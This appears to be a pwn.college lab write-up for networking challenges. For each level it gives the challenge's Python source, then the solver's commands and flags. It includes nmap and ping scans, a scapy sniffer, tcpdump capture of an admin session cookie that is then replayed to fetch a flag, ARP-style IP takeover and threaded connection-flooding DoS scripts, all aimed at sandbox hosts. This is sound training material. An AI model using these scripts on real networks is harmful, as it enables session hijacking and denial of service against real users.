Skip to main content

Intercepting Communication

Connect

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import os
import socket

import psutil
from dojjail import Host, Network

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class ServerHost(Host):
def entrypoint(self):
server_socket = socket.socket()
server_socket.bind(("0.0.0.0", 31337))
server_socket.listen()
while True:
try:
connection, _ = server_socket.accept()
connection.sendall(flag.encode())
connection.close()
except ConnectionError:
continue

user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
server_host = ServerHost("ip-10-0-0-2")
network = Network(hosts={user_host: "10.0.0.1", server_host: "10.0.0.2"}, subnet="10.0.0.0/24")
network.run()

user_host.interactive(environ=parent_process.environ())

In this challegne, we have to connect to 10.0.0.2 on port 31337.

hacker@intercepting-communication~connect:/$ /challenge/run 
root@ip-10-0-0-1:/#
root@ip-10-0-0-1:/# nc 10.0.0.2 31337
pwn.college{wbLEvztIH-MlyXZbTzR3-bhhAwh.dlTNzMDL4ITM0EzW}

 

Send

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import os
import socket

import psutil
from dojjail import Host, Network

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class ServerHost(Host):
def entrypoint(self):
server_socket = socket.socket()
server_socket.bind(("0.0.0.0", 31337))
server_socket.listen()
while True:
try:
connection, _ = server_socket.accept()
while True:
client_message = connection.recv(1024).decode()
if not client_message:
break
if client_message == "Hello, World!\n":
connection.sendall(flag.encode())
break
connection.close()
except ConnectionError:
continue

user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
server_host = ServerHost("ip-10-0-0-2")
network = Network(hosts={user_host: "10.0.0.1", server_host: "10.0.0.2"}, subnet="10.0.0.0/24")
network.run()

user_host.interactive(environ=parent_process.environ())

This time we have to send a message containing "Hello, World!"" to the remote host 10.0.0.2 on port 31337.

root@ip-10-0-0-1:/# nc 10.0.0.2 31337
Hello, World!
pwn.college{0Hb11t9ijpcF9e3tDdE_3W2fDWk.QX1IDM2EDL4ITM0EzW}

 

Shutdown

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import os
import socket

import psutil
from dojjail import Host, Network

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class ServerHost(Host):
def entrypoint(self):
server_socket = socket.socket()
server_socket.bind(("0.0.0.0", 31337))
server_socket.listen()
while True:
try:
connection, _ = server_socket.accept()
while True:
if not connection.recv(1):
connection.sendall(flag.encode())
break
connection.close()
except ConnectionError:
continue

user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
server_host = ServerHost("ip-10-0-0-2")
network = Network(hosts={user_host: "10.0.0.1", server_host: "10.0.0.2"}, subnet="10.0.0.0/24")
network.run()

user_host.interactive(environ=parent_process.environ())

We can use the -N option in nc so that it shuts down on CTRL-D.

hacker@intercepting-communication~shutdown:/$ /challenge/run 
root@ip-10-0-0-1:/#
root@ip-10-0-0-1:/# nc -N 10.0.0.2 31337
pwn.college{M0ZqQvNQkxl9FGLlvmqyp4DYcoE.QX2IDM2EDL4ITM0EzW}

 

Listen

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import os
import socket
import time

import psutil
from dojjail import Host, Network

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class ClientHost(Host):
def entrypoint(self):
while True:
time.sleep(1)
try:
client_socket = socket.socket()
client_socket.connect(("10.0.0.1", 31337))
client_socket.sendall(flag.encode())
client_socket.close()
except (ConnectionError, TimeoutError):
continue

user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
server_host = ClientHost("ip-10-0-0-2")
network = Network(hosts={user_host: "10.0.0.1", server_host: "10.0.0.2"}, subnet="10.0.0.0/24")
network.run()

user_host.interactive(environ=parent_process.environ())

This time we have to listn for a connection on port 31337.

hacker@intercepting-communication~listen:/$ /challenge/run 
root@ip-10-0-0-1:/#
root@ip-10-0-0-1:/# nc -l 31337
pwn.college{YEg8RQOuKAnFvEr1BPhIXGL7y1c.dBjNzMDL4ITM0EzW}

 

Scan 1

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import os
import random
import socket

import psutil
from dojjail import Host, Network

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class ServerHost(Host):
def entrypoint(self):
server_socket = socket.socket()
server_socket.bind(("0.0.0.0", 31337))
server_socket.listen()
while True:
try:
connection, _ = server_socket.accept()
connection.sendall(flag.encode())
connection.close()
except ConnectionError:
continue

unknown_ip = f"10.0.0.{random.randint(10, 254)}"

user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
server_host = ServerHost("ip-10-0-0-?")
network = Network(hosts={user_host: "10.0.0.1", server_host: unknown_ip}, subnet="10.0.0.0/24")
network.run()

user_host.interactive(environ=parent_process.environ())

In this challenge, we have to find the host which is up in our subnet, and then connect to it on port 31337.

root@ip-10-0-0-1:/# for i in $(seq 1 255); do ping -c 1 -W 1 10.0.0.$i > /dev/null 2>&1 && echo "10.0.0.$i is up"; done; 
-bash: child setpgid (12 to 3746): Operation not permitted
10.0.0.1 is up
10.0.0.73 is up
root@ip-10-0-0-1:/# nc 10.0.0.73 31337

The -c option specifies the number of ECHO_REQUEST packets we send, and the -W option specifies the number of seconds we wait for a response before we timout and move on to the next host.

As we can see, the host 10.0.0.73 is up.

root@ip-10-0-0-1:/# nc 10.0.0.73 31337
pwn.college{w9cEDV2HoE3YNa5SUNShEMZAcfA.dFjNzMDL4ITM0EzW}

 

Scan 2

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import os
import random
import socket

import psutil
from dojjail import Host, Network

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class ServerHost(Host):
def entrypoint(self):
server_socket = socket.socket()
server_socket.bind(("0.0.0.0", 31337))
server_socket.listen()
while True:
try:
connection, _ = server_socket.accept()
connection.sendall(flag.encode())
connection.close()
except ConnectionError:
continue

unknown_ip = f"10.0.{random.randint(1, 255)}.{random.randint(1, 254)}"

user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
server_host = ServerHost("ip-10-0-?-?")
network = Network(hosts={user_host: "10.0.0.1", server_host: unknown_ip}, subnet="10.0.0.0/16")
network.run()

user_host.interactive(environ=parent_process.environ())

This time we have to scan the /16 subnet using NMAP.

root@ip-10-0-0-1:/# nmap -p 31337 10.0.0.0/16 --open -T5 --min-hostgroup 256 --max-hostgroup 1024
Warning: You specified a highly aggressive --min-hostgroup.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-15 15:43 UTC
Nmap scan report for 10.0.220.241
Host is up (0.000055s latency).

PORT STATE SERVICE
31337/tcp open Elite
MAC Address: F6:1C:58:5C:33:86 (Unknown)

Nmap done: 65536 IP addresses (2 hosts up) scanned in 2663.68 seconds

The options used are as follows:

  • -p: Scan only specified port
  • --open: Show only hosts with ports
  • -T5: Use the most aggressive timing (fastest scan)
  • --min-hostgroup: Specify the minimum number of hosts to be scanned concurrently
  • --max-hostgroup: Specify the maximum number of hosts to be scanned concurrently
root@ip-10-0-0-1:/# nc 10.0.220.241 31337
pwn.college{gpJ1hkttpIQi_Dr58v9ReQoWsFD.dJjNzMDL4ITM0EzW}

 

Monitor 1

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import os
import socket
import time

import psutil
from dojjail import Host, Network

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class ClientHost(Host):
def entrypoint(self):
while True:
time.sleep(1)
try:
client_socket = socket.socket()
client_socket.connect(("10.0.0.2", 31337))
client_socket.sendall(flag.encode())
client_socket.close()
except (ConnectionError, TimeoutError):
continue

class ServerHost(Host):
def entrypoint(self):
server_socket = socket.socket()
server_socket.bind(("0.0.0.0", 31337))
server_socket.listen()
while True:
try:
connection, _ = server_socket.accept()
connection.recv(1024)
connection.close()
except ConnectionError:
continue

user_host = ClientHost("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
server_host = ServerHost("ip-10-0-0-2")
network = Network(hosts={user_host: "10.0.0.1", server_host: "10.0.0.2"}, subnet="10.0.0.0/24")
network.run()

user_host.interactive(environ=parent_process.environ())

For this challenge, we have to observe network traffic using Wireshark, and find the flag.

image

pwn.college{w5xqRA9L9VqC5wgnj0y2NJf5Zd5.dNjNzMDL4ITM0EzW}

 

Monitor 2

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import os
import socket
import time

import psutil
from dojjail import Host, Network

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class ClientHost(Host):
def entrypoint(self):
while True:
time.sleep(1)
try:
client_socket = socket.socket()
client_socket.connect(("10.0.0.2", 31337))
for c in flag:
client_socket.sendall(c.encode())
time.sleep(1)
client_socket.close()
except (ConnectionError, TimeoutError):
continue

class ServerHost(Host):
def entrypoint(self):
server_socket = socket.socket()
server_socket.bind(("0.0.0.0", 31337))
server_socket.listen()
while True:
try:
connection, _ = server_socket.accept()
while connection.recv(1):
pass
connection.close()
except ConnectionError:
continue

user_host = ClientHost("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
server_host = ServerHost("ip-10-0-0-2")
network = Network(hosts={user_host: "10.0.0.1", server_host: "10.0.0.2"}, subnet="10.0.0.0/24")
network.run()

user_host.interactive(environ=parent_process.environ())

We can use a simple Python script to capture the flag byte by byte and craft the complete flag.

~/script.py
from scapy.all import sniff, Raw

buffer = b""

def handle_packet(packet):
global buffer
if packet.haslayer(Raw):
buffer += bytes(packet[Raw])
if b'pwn.college{' in buffer and b'}' in buffer:
start = buffer.find(b'pwn.college{')
end = buffer.find(b'}', start)
if end != -1:
flag = buffer[start:end+1]
print(f"\nFlag captured: {flag.decode(errors='ignore')}")
exit(0) # stop sniffing

sniff(filter="tcp dst port 31337", prn=handle_packet)
root@ip-10-0-0-1:/# python ~/script.py
pwn.college{IL2Wo8FGsB4o4H7REi29XRi3yzx.dNzNzMDL4ITM0EzW}


Flag captured: pwn.college{I4fIyKwkQexXwA6EYgWabI6ocRG.dRjNzMDL4ITM0EzW}

For some reason it prints some other flag-like string right after we run the script. This is not an issue in ipython.

In [1]: from scapy.all import sniff, Raw
...:
...: buffer = b""
...:
...: def handle_packet(packet):
...: global buffer
...: if packet.haslayer(Raw):
...: buffer += bytes(packet[Raw])
...: if b'pwn.college{' in buffer and b'}' in buffer:
...: start = buffer.find(b'pwn.college{')
...: end = buffer.find(b'}', start)
...: if end != -1:
...: flag = buffer[start:end+1]
...: print(f"\nFlag captured: {flag.decode(errors='ignore')}")
...: exit(0) # stop sniffing
...:
...: sniff(filter="tcp dst port 31337", prn=handle_packet)
...:

Flag captured: pwn.college{I4fIyKwkQexXwA6EYgWabI6ocRG.dRjNzMDL4ITM0EzW}

 

Sniffing Cookies

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import requests
import random
import psutil
import string
import flask
import time
import sys
import os

from dojjail import Host, Network

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())
admin_pw = "".join(random.sample(string.ascii_letters*10, 8))

def ensure_new_file_fd(path, flags):
return os.open(path, os.O_CREAT|os.O_EXCL|os.O_WRONLY)

class ClientHost(Host):
def entrypoint(self):
sys.stderr = open("/tmp/client-stderr", "w", opener=ensure_new_file_fd)

time.sleep(2)
s = requests.Session()
assert s.post("http://10.0.0.2/login", data={"username":"admin", "password":admin_pw}).status_code == 200
while True:
try:
s.get("http://10.0.0.2/ping")
time.sleep(1)
except (OSError, ConnectionError, TimeoutError, RequestException):
continue

class ServerHost(Host):
def entrypoint(self):
sys.stderr = open("/tmp/server-output", "w", opener=ensure_new_file_fd)
sys.stdout = sys.stderr

app = flask.Flask("server")

@app.route("/login", methods=["POST"])
def login():
username = flask.request.form.get("username")
password = flask.request.form.get("password")
if username == "admin" and password == admin_pw:
flask.session["user"] = "admin"
return "OK"
flask.abort(403, "NOPE")

@app.route("/ping", methods=["GET"])
def ping():
return "pong"

@app.route("/flag", methods=["GET"])
def get_flag():
if flask.session.get("user", None) != "admin":
flask.abort(403, "NOPE")
return flag

app.secret_key = os.urandom(8)
app.run("0.0.0.0", 80)

client_host = ClientHost("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
server_host = ServerHost("ip-10-0-0-2")
network = Network(hosts={ client_host: "10.0.0.1", server_host: "10.0.0.2" }, subnet="10.0.0.0/24")
network.run()

client_host.interactive(environ=parent_process.environ())

The admin logs in on 10.0.0.1 and gets a session cookie. This cookie is then used to access the flag from the /flag endpoint on 10.0.0.2.

Let's sniff the cookie.

root@ip-10-0-0-1:/# tcpdump -i any -A 'tcp port 80' | grep --color=always -E 'Cookie:|Set-Cookie:'
-bash: child setpgid (18 to 2439): Operation not permitted
tcpdump: WARNING: any: That device doesn't support promiscuous mode
(Promiscuous mode not supported on the "any" device)
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on any, link-type LINUX_SLL2 (Linux cooked v2), snapshot length 262144 bytes
Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.aFEq0w.LW1TQizb2Gju_C90GXMogivpu1g
Cookie: session=eyJ1c2VyIjoiYWRtaW4ifQ.aFEq0w.LW1TQizb2Gju_C90GXMogivpu1g

# --- snip ---

Now we can use the cookie to get the flag from http://10.0.0.2/flag.

~/script.py
import requests

cookies = {
"session": "eyJ1c2VyIjoiYWRtaW4ifQ.aFEq0w.LW1TQizb2Gju_C90GXMogivpu1g"
}

responnse = requests.get("http://10.0.0.2/flag", cookies = cookies)
print(response.text)
root@ip-10-0-0-1:/# python ~/script.py
pwn.college{s_X0-uEuI4QDPvCeidQDJnjs1ke.QXxQDM2EDL4ITM0EzW}

 

Network Configuration

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import os
import socket
import time

import psutil
from dojjail import Host, Network

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class ClientHost(Host):
def entrypoint(self):
while True:
time.sleep(1)
try:
client_socket = socket.socket()
client_socket.connect(("10.0.0.3", 31337))
client_socket.sendall(flag.encode())
client_socket.close()
except (OSError, ConnectionError, TimeoutError):
continue

user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
client_host = ClientHost("ip-10-0-0-2")
network = Network(hosts={user_host: "10.0.0.1", client_host: "10.0.0.2"}, subnet="10.0.0.0/24")
network.run()

user_host.interactive(environ=parent_process.environ())

In this level, the host at 10.0.0.2 is communicating with the host at 10.0.0.3. We can essentially become 10.0.0.3 so that we now receive those packets.

root@ip-10-0-0-1:/# ip address add 10.0.0.3/16 dev eth0

We have added the address on our eth0 interface.

Now when we receive an ARP who-has request asking for 10.0.0.3, we can send a is-at reply with our MAC address.

root@ip-10-0-0-1:/# nc -l 31337
pwn.college{Ij1Vds7KoGcIewEjDEEof1oBvmi.dVjNzMDL4ITM0EzW}

 

Firewall 1

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import multiprocessing
import os
import socket
import socketserver
import time

import psutil
from dojjail import Host, Network

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class ServerHost(Host):
def entrypoint(self):
last_connected_time = multiprocessing.Value("d", time.time())

def watchdog():
while True:
with last_connected_time.get_lock():
if time.time() - last_connected_time.value > 2:
print(flag, flush=True)
break
time.sleep(1)

watchdog_process = multiprocessing.Process(target=watchdog)
watchdog_process.daemon = True
watchdog_process.start()

class ForkingTCPHandler(socketserver.BaseRequestHandler):
def handle(self):
with last_connected_time.get_lock():
last_connected_time.value = time.time()
self.request.recv(1024)

with socketserver.ForkingTCPServer(("0.0.0.0", 31337), ForkingTCPHandler) as server:
server.serve_forever()

class ClientHost(Host):
def entrypoint(self):
while True:
time.sleep(1)
try:
with socket.create_connection(("10.0.0.1", 31337)) as client_socket:
client_socket.sendall(b"Hello, World!\n")
except (OSError, ConnectionError, TimeoutError):
continue

user_host = ServerHost("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
client_host = ClientHost("ip-10-0-0-2")
network = Network(hosts={user_host: "10.0.0.1", client_host: "10.0.0.2"}, subnet="10.0.0.0/24")
network.run()

user_host.interactive(environ=parent_process.environ())

This time we have to block traffic on port 31337.

We can do that using the iptabes command.

root@ip-10-0-0-1:/# iptables -A INPUT -p tcp --dport 31337 -j DROP
root@ip-10-0-0-1:/# pwn.college{4gzO4ofTkOcR06polLF21wrKAru.QX4QDM2EDL4ITM0EzW}

 

Firewall 2

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import multiprocessing
import os
import socket
import socketserver
import time

import psutil
from dojjail import Host, Network

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class ServerHost(Host):
def entrypoint(self):
manager = multiprocessing.Manager()
last_connected_times = manager.dict()

def watchdog():
while True:
time.sleep(1)
current_time = time.time()
if current_time - last_connected_times.get("10.0.0.2", current_time) > 2:
continue
if current_time - last_connected_times.get("10.0.0.3", current_time) < 2:
continue
print(flag, flush=True)
break

watchdog_process = multiprocessing.Process(target=watchdog)
watchdog_process.daemon = True
watchdog_process.start()

class ForkingTCPHandler(socketserver.BaseRequestHandler):
def handle(self):
client_ip, _ = self.client_address
last_connected_times[client_ip] = time.time()
self.request.recv(1024)

with socketserver.ForkingTCPServer(("0.0.0.0", 31337), ForkingTCPHandler) as server:
server.serve_forever()

class ClientHost(Host):
def entrypoint(self):
while True:
time.sleep(1)
try:
with socket.create_connection(("10.0.0.1", 31337)) as client_socket:
client_socket.sendall(b"Hello, World!\n")
except (OSError, ConnectionError, TimeoutError):
continue

user_host = ServerHost("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
client_host_1 = ClientHost("ip-10-0-0-2")
client_host_2 = ClientHost("ip-10-0-0-3")
network = Network(hosts={user_host: "10.0.0.1", client_host_1: "10.0.0.2", client_host_2: "10.0.0.3"},
subnet="10.0.0.0/24")
network.run()

user_host.interactive(environ=parent_process.environ())

In this challenge, we have to only block traffic from 10.0.0.3 on 31337.

root@ip-10-0-0-1:/# iptables -A INPUT -p tcp -s 10.0.0.3 --dport 31337 -j DROP
root@ip-10-0-0-1:/# pwn.college{k1UUolaE-mtHzfAEzyJtlXZsqNT.QX5QDM2EDL4ITM0EzW}

 

Firewall 3

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import os
import random
import socket
import subprocess

import psutil
from dojjail import Host, Network

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

def drop_packets(dport):
subprocess.run(["/usr/sbin/iptables",
"-A", "OUTPUT",
"-p", "tcp",
"--dport", str(dport),
"-j", "DROP"],
stdin=subprocess.DEVNULL,
capture_output=True,
check=True)

class ServerHost(Host):
def entrypoint(self):
server_socket = socket.socket()
server_socket.bind(("0.0.0.0", 31337))
server_socket.listen()
while True:
try:
connection, _ = server_socket.accept()
connection.sendall(flag.encode())
connection.close()
except ConnectionError:
continue

user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
server_host = ServerHost("ip-10-0-0-2")
network = Network(hosts={user_host: "10.0.0.1", server_host: "10.0.0.2"}, subnet="10.0.0.0/24")
network.run()

user_host.exec(lambda: drop_packets(31337))

user_host.interactive(environ=parent_process.environ())

Thios time we have to open up port 31337 for outbound connections.

root@ip-10-0-0-1:/# iptables -I OUTPUT -p tcp -d 10.0.0.2 --dport 31337 -j ACCEPT

We can verify that our rule has been created.

root@ip-10-0-0-1:/# iptables -L OUTPUT -v -n --line-numbers
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)
num pkts bytes target prot opt in out source destination
1 0 0 ACCEPT tcp -- * * 0.0.0.0/0 10.0.0.2 tcp dpt:31337
2 0 0 DROP tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:31337
root@ip-10-0-0-1:/# nc 10.0.0.2 31337
pwn.college{8T7GpLSG0UQsqNItYdCt1AztxCN.QXwUDM2EDL4ITM0EzW}

 

Denial of Service 1

The client at 10.0.0.3 is communicating with the server at 10.0.0.2 on port 31337. Deny this service.

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import os
import socket
import time

import psutil
from dojjail import Host, Network
from dojjail.capabilities import limit_capabilities

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class ServerHost(Host):
def entrypoint(self):
server_socket = socket.socket()
server_socket.bind(("0.0.0.0", 31337))
server_socket.listen(1)
while True:
try:
connection, _ = server_socket.accept()
connection.recv(1024)
connection.close()
except ConnectionError:
continue

class ClientHost(Host):
def entrypoint(self):
while True:
time.sleep(1)
try:
with socket.create_connection(("10.0.0.2", 31337), timeout=1) as client_socket:
client_socket.sendall(b"Hello, World!\n")
except (TimeoutError, socket.timeout):
print(flag, flush=True)
break
except (OSError, ConnectionError):
continue

user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
server_host = ServerHost("ip-10-0-0-2")
client_host = ClientHost("ip-10-0-0-3")
network = Network(hosts={user_host: "10.0.0.1", server_host: "10.0.0.2", client_host: "10.0.0.3"},
subnet="10.0.0.0/24")
network.run()

user_host.interactive(preexec_fn=lambda: limit_capabilities(0), environ=parent_process.environ())

Client keeps trying to connect to 10.0.0.2:31337. If the server stops responding (e.g., due to DoS), the client hits a timeout. On timeout, the client prints the flag and breaks out of the loop.

We have to bombard the server so that it does not respond to the client, and we get a flag.

~/script.py
import socket

s = socket.create_connection(("10.0.0.2", 31337))
input("Holding connections open...\n")
root@ip-10-0-0-1:~# python ~/script.py
Holding connections open...
pwn.college{YEX2Ry1o2FmWPH-DALp2yFdHjNO.QX3UDM2EDL4ITM0EzW}

 

Denial of Service 2

The client at 10.0.0.3 is communicating with the server at 10.0.0.2 on port 31337. Deny this service.

This time the server forks a new process for each client connection.

Source code

#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import os
import socket
import socketserver
import time

import psutil
from dojjail import Host, Network
from dojjail.capabilities import limit_capabilities

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class ServerHost(Host):
def entrypoint(self):
class ForkingTCPHandler(socketserver.BaseRequestHandler):
def handle(self):
self.request.recv(1024)

with socketserver.ForkingTCPServer(("0.0.0.0", 31337), ForkingTCPHandler) as server:
server.serve_forever()

class ClientHost(Host):
def entrypoint(self):
while True:
try:
with socket.create_connection(("10.0.0.2", 31337), timeout=1) as client_socket:
client_socket.sendall(b"Hello, World!\n")
time.sleep(1)
except (TimeoutError, socket.timeout):
print(flag, flush=True)
break
except (OSError, ConnectionError) as e:
print(type(e), e, flush=True)
continue

user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
server_host = ServerHost("ip-10-0-0-2")
client_host = ClientHost("ip-10-0-0-3")
network = Network(hosts={user_host: "10.0.0.1", server_host: "10.0.0.2", client_host: "10.0.0.3"},
subnet="10.0.0.0/24")
network.run()

user_host.interactive(preexec_fn=lambda: limit_capabilities(0), environ=parent_process.environ())

This time the server forks and spawns a new process per connection. Thus, we cannot do Dos by just holding a simgle connection open anymore.

We will have to send multiple connections to the server so that it does not respond to the client. This will cause the client to time out and print the flag.

Let's start with 100 connections.

~/script.py
import socket
import time

target = ("10.0.0.2", 31337)
sockets = []

for i in range(100):
try:
s = socket.create_connection(target, timeout=1)
sockets.append(s)
print(f"Held {i} connections")
time.sleep(0.05)
except Exception as e:
print("Error:", e)
break

input("Holding connections open...\n")
root@ip-10-0-0-1:/# python ~/script.py
Held 0 connections
Held 1 connections

# --- snip ---

Held 44 connections
Held 45 connections
Error: timed out
Holding connections open...
pwn.college{UYk-vC_7sk20Ga1gEsbb-_0T0BP.QX4UDM2EDL4ITM0EzW}

 

Denial of Service 3

The client at 10.0.0.3 is communicating with the server at 10.0.0.2 on port 31337. Deny this service.

This time the server forks a new process for each client connection, and limits each session to 1 second.

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import os
import socket
import socketserver
import time

import psutil
from dojjail import Host, Network
from dojjail.capabilities import limit_capabilities

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class ServerHost(Host):
def entrypoint(self):
class ForkingTCPHandler(socketserver.BaseRequestHandler):
def handle(self):
self.request.settimeout(1)
try:
self.request.recv(1024)
except (TimeoutError, socket.timeout):
return

with socketserver.ForkingTCPServer(("0.0.0.0", 31337), ForkingTCPHandler) as server:
server.serve_forever()

class ClientHost(Host):
def entrypoint(self):
while True:
try:
with socket.create_connection(("10.0.0.2", 31337), timeout=60) as client_socket:
client_socket.sendall(b"Hello, World!\n")
time.sleep(1)
except (TimeoutError, socket.timeout) as e:
print(flag, flush=True)
break
except (OSError, ConnectionError):
continue

user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
server_host = ServerHost("ip-10-0-0-2")
client_host = ClientHost("ip-10-0-0-3")
network = Network(hosts={user_host: "10.0.0.1", server_host: "10.0.0.2", client_host: "10.0.0.3"},
subnet="10.0.0.0/24")
network.run()

user_host.interactive(preexec_fn=lambda: limit_capabilities(0), environ=parent_process.environ())

This time we have to do multithreading in order to

~/script.py
import socket
import time
import threading

def spam():
while True:
try:
s = socket.create_connection(("10.0.0.2", 31337), timeout=1)
time.sleep(1)
s.close()
except Exception:
pass
time.sleep(0.01)

for _ in range(500):
threading.Thread(target=spam, daemon=True).start()

# Keep main thread alive
while True:
time.sleep(1)
root@ip-10-0-0-1:/# python ~/script.py 
pwn.college{orOZm1YzShPJNpNGcX6vl2sDgCv.QX5UDM2EDL4ITM0EzW}

 

Ethernet

Manually send an Ethernet packet. The packet should have Ether type=0xFFFF. The packet should be sent to the remote host at 10.0.0.2.

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import os

import psutil
import scapy.all as scapy
from dojjail import Host, Network

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class RawPacketHost(Host):
def entrypoint(self):
scapy.conf.ifaces.reload()
scapy.sniff(prn=self.handle_packet, iface="eth0")

def handle_packet(self, packet):
if "Ether" not in packet:
return
if packet["Ether"].type == 0xFFFF:
print(flag, flush=True)

user_host = Host("ip-10-0-0-1", privileged_uid=parent_process.uids().effective)
raw_packet_host = RawPacketHost("ip-10-0-0-2")
network = Network(hosts={user_host: "10.0.0.1", raw_packet_host: "10.0.0.2"}, subnet="10.0.0.0/24")
network.run()

user_host.interactive(environ=parent_process.environ())

In this challenge, we have to Ethernet packet with type=0xFFFF to the remote host 10.0.0.2.

hacker@intercepting-communication~ethernet:/$ /challenge/run
root@ip-10-0-0-1:/#
root@ip-10-0-0-1:/# scapy
INFO: Couldn't write cache into /home/hacker/.cache/scapy/services: [Errno 13] Permission denied: '/home/hacker/.cache/scapy/services'
INFO: Couldn't write cache into /home/hacker/.cache/scapy/ethertypes: [Errno 13] Permission denied: '/home/hacker/.cache/scapy/ethertypes'
INFO: Couldn't write cache into /home/hacker/.cache/scapy/manufdb: [Errno 13] Permission denied: '/home/hacker/.cache/scapy/manufdb'
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().

aSPY//YASa
apyyyyCY//////////YCa |
sY//////YSpcs scpCY//Pp | Welcome to Scapy
ayp ayyyyyyySCP//Pp syY//C | Version 2.6.1
AYAsAYYYYYYYY///Ps cY//S |
pCCCCY//p cSSps y//Y | https://github.com/secdev/scapy
SPPPP///a pP///AC//Y |
A//A cyP////C | Have fun!
p///Ac sC///a |
P////YCpc A//A | Craft packets before they craft
scccccp///pSP///p p//Y | you.
sY/////////y caa S//P | -- Socrate
cayCyayP//Ya pY/Ya |
sY/PsY////YCc aC//Yp
sc sccaCY//PCypaapyCP//YSs
spCPY//////YPSps
ccaacs

>>>
>>> Ether().display()
###[ Ethernet ]###
dst = None
src = 00:00:00:00:00:00
type = 0x9000

We have to change the default fields. But before we do that, we will have to find the MAC address of 10.0.0.1.

root@ip-10-0-0-1:/# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.0.1 netmask 255.255.255.0 broadcast 0.0.0.0
inet6 fe80::48ae:54ff:feb8:cb8a prefixlen 64 scopeid 0x20<link>
ether 4a:ae:54:b8:cb:8a txqueuelen 1000 (Ethernet)
RX packets 28 bytes 2276 (2.2 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 9 bytes 726 (726.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 0 bytes 0 (0.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
>>> Ether(src="42:5a:15:d0:61:a3", dst="ff:ff:ff:ff:ff:ff", type=0xFFFF).display()
###[ Ethernet ]###
dst = ff:ff:ff:ff:ff:ff
src = 42:5a:15:d0:61:a3
type = 0xffff

Now that we have a valid Ethernet packet, we just have to send it over.

>>> sendp(Ether(src="42:5a:15:d0:61:a3", dst="ff:ff:ff:ff:ff:ff", type=0xFFFF), iface="eth0")
.
Sent 1 packets.
pwn.college{YApxHV8YC_dydQ2cfeE93_ZIgfi.dZjNzMDL4ITM0EzW}

The remote host is connected to the eth0 interface, so we send the packets out of the eth0 interface.

 

IP

Manually send an Internet Protocol packet. The packet should have IP proto=0xFF. The packet should be sent to the remote host at 10.0.0.2.

Source code

/challenge/run
#!/usr/bin/exec-suid --real -- /usr/bin/python -I

import os

import psutil
import scapy.all as scapy
from dojjail import Host, Network

flag = open("/flag").read()
parent_process = psutil.Process(os.getppid())

class RawPacketHost(Host):
def entrypoint(self):
